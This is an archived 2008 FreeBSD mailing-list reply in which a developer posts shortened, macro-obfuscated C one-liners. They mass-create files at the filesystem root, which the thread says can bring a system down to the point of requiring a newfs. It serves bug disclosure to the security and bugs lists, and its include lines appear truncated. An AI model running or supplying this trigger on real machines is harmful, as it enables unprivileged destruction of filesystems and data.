From owner-freebsd-fs@FreeBSD.ORG Mon Feb 18 13:54:06 2008 Return-Path: Delivered-To: freebsd-fs@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E9ED916A418; Mon, 18 Feb 2008 13:54:06 +0000 (UTC) (envelope-from des@des.no) Received: from tim.des.no (tim.des.no [194.63.250.121]) by mx1.freebsd.org (Postfix) with ESMTP id A49D413C45E; Mon, 18 Feb 2008 13:54:06 +0000 (UTC) (envelope-from des@des.no) Received: from tim.des.no (localhost [127.0.0.1]) by spam.des.no (Postfix) with ESMTP id 59B252090; Mon, 18 Feb 2008 14:53:59 +0100 (CET) X-Spam-Tests: AWL X-Spam-Learn: disabled X-Spam-Score: -0.3/3.0 X-Spam-Checker-Version: SpamAssassin 3.2.4 (2008-01-01) on tim.des.no Received: from ds4.des.no (des.no [80.203.243.180]) by smtp.des.no (Postfix) with ESMTP id 438A52087; Mon, 18 Feb 2008 14:53:59 +0100 (CET) Received: by ds4.des.no (Postfix, from userid 1001) id 1A0068449D; Mon, 18 Feb 2008 14:53:59 +0100 (CET) From: =?utf-8?Q?Dag-Erling_Sm=C3=B8rgrav?= To: Jim Bryant References: <47B90868.7000900@electron-tube.net> <86odae5rgr.fsf@ds4.des.no> Date: Mon, 18 Feb 2008 14:53:59 +0100 In-Reply-To: <86odae5rgr.fsf@ds4.des.no> ("Dag-Erling =?utf-8?Q?Sm=C3=B8rg?= =?utf-8?Q?rav=22's?= message of "Mon\, 18 Feb 2008 14\:23\:00 +0100") Message-ID: <863arq5q14.fsf@ds4.des.no> User-Agent: Gnus/5.110006 (No Gnus v0.6) Emacs/22.1 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-fs@freebsd.org, freebsd-security@freebsd.org, FreeBSD-bugs@freebsd.org, freebsd-stable@freebsd.org Subject: Re: How to take down a system to the point of requiring a newfs with one line of C (userland) X-BeenThere: freebsd-fs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Filesystems List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 18 Feb 2008 13:54:07 -0000 Dag-Erling Sm=C3=B8rgrav writes: > Purely in the interest of showing off, here is my version. It is 81 > bytes shorter than yours, it is valid C99 with POSIX extensions (yours > is not), and it produces 11,450 files in about 0.2% of the time yours > takes to produce 10,000. > > #include > #define b(i,v) for(int v=3D48;v<127;++v){f[i]=3Dv; > #define a(i) b(i,v##i) > int main(void){char f[5]=3D{'/'};a(1)a(2)a(3)truncate(f,0);}}}} Two bugs: 1) I forgot to include the correct version of the code 2) the version I had created a few files with '/' in their names; this slightly nastier creates 10,648 files with only letters. #include #define b(i,v)for(int v=3D65;v<87;){i[f]=3Dv++; #define a(i)b(i,v##i) int main(void){char f[4]=3D{47};a(1)a(2)a(3)truncate(f,0);}}}} DES --=20 Dag-Erling Sm=C3=B8rgrav - des@des.no